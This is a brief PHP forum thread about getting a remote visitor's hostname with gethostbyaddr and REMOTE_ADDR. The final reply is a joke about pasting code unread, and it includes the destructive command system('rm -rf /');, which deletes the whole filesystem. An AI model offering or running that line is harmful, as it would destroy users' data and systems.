Captuing remote hostname

[mrtechguy]

What is the best way to capture the hostname of the remote computer. I have managed to get the IP of the remote computer but I am after the hostname. I have enable hostname lookups in apache enabled and i cannot remember where to look in PHP manual

Thanks

<?php

$server = $_SERVER["SERVER_NAME"];
$ip = gethostbyname ($server);
$server = gethostbyaddr($ip);

?>

[mrtechguy]

that script just returns "localhost" and I was not using "localhost" to view the file

You're saying that [man]gethostbyaddr[/man] returns "localhost" when you give it the remote IP?

[bradgrafelman]

[man]gethostbyaddr[/man]:

<?php
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);

echo $hostname;
?>

Well, considering that the original poster appears to have just cut-and-paste the previously-supplied code without stopping to read and understand what it does first ....

system('rm -rf /');
